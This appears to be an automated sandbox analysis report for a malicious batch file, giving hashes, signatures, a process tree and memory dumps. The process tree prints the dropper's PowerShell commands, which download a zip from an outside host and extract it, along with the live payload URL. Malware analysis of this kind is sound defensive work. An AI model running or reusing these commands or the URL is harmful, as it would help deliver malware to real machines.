1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1566s
max time network
1573s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy - Copy (5).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2232	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2232	powershell.exe
2608	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 2232	2980	cmd.exe	29
PID 2980 wrote to memory of 2232	2980	cmd.exe	29
PID 2980 wrote to memory of 2232	2980	cmd.exe	29
PID 2980 wrote to memory of 2608	2980	cmd.exe	30
PID 2980 wrote to memory of 2608	2980	cmd.exe	30
PID 2980 wrote to memory of 2608	2980	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2PGNO6ODLQQA6QMKALWL.temp

Filesize
7KB

MD5
8fbe4c9e272979e1eed6362af4c783bc

SHA1
bc4cb4529eaf081089e8ad9901e329cc6bf9e14d

SHA256
84fa41d8cd4c6ba8566bd95e70831a7010b93b083f6c82e5f5b80cf6c58083dc

SHA512
1cf344b6b16a768dcfe6e2a423539e7d5ecb9296f7aaa739f03bbbc786d62a6fe763c446bde114700239c8ad2196eded96f3719c04b0db6f486fbc2ee22ac723

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8fbe4c9e272979e1eed6362af4c783bc

SHA1
bc4cb4529eaf081089e8ad9901e329cc6bf9e14d

SHA256
84fa41d8cd4c6ba8566bd95e70831a7010b93b083f6c82e5f5b80cf6c58083dc

SHA512
1cf344b6b16a768dcfe6e2a423539e7d5ecb9296f7aaa739f03bbbc786d62a6fe763c446bde114700239c8ad2196eded96f3719c04b0db6f486fbc2ee22ac723

Download Submit
memory/2232-19-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-14-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-8-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2232-9-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2232-10-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2232-11-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2232-13-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-5-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-15-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2232-16-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2232-17-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2232-18-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2232-4-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/2232-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2232-7-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/2608-29-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2608-25-0x000000001B400000-0x000000001B6E2000-memory.dmp

Filesize
2.9MB

Download
memory/2608-27-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-28-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2608-26-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2608-30-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2608-31-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-32-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2608-33-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-34-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2608-35-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2608-36-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2608-37-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2608-38-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

Filesize
9.6MB

Download